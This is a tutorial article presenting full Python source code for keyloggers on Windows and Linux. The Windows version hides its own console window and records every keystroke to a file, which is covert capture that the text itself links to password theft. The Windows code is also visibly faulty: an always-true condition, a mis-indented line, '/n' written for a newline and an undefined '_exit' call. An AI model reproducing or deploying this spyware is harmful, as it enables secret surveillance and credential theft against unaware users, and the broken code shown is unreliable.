Design a Keylogger in Python

Keystroke logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.
These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often than not it is used for malicious intents like stealing passwords.
This article illustrates designing a keylogger for windows and Linux.

Keylogger for Windows

Download some python libraries 
1) pywin32
2) pyhook‘
Following is the code to create a keylogger in python

Python3

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
    #open output.txt to read current keystrokes
        f = open('c:\output.txt', 'r+')
        buffer = f.read()
        f.close()
    # open output.txt to write current + new keystrokes
        f = open('c:\output.txt', 'w')
        keylogs = chr(event.Ascii)
        if event.Ascii == 13:
        keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Save the file in C:\ as Keylogger.py and run the python file 
Output: 
The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.

Keylogger in Linux
pyxhook requires python-Xlib. Install it if you don’t have it already. 

sudo apt-get install python-xlib

Download pyxhook library

Python3

# Python code for keylogger
# to be used in linux
import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        '`'
    )[0]
)

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
       # File does not exist, or no permissions.
        pass

#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start()         # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))

Output:
The keylogger will be started in the background and save all the data on the file.log file “/home/Akash/Desktop”. 

References
https://en.wikipedia.org/wiki/Keystroke_logging
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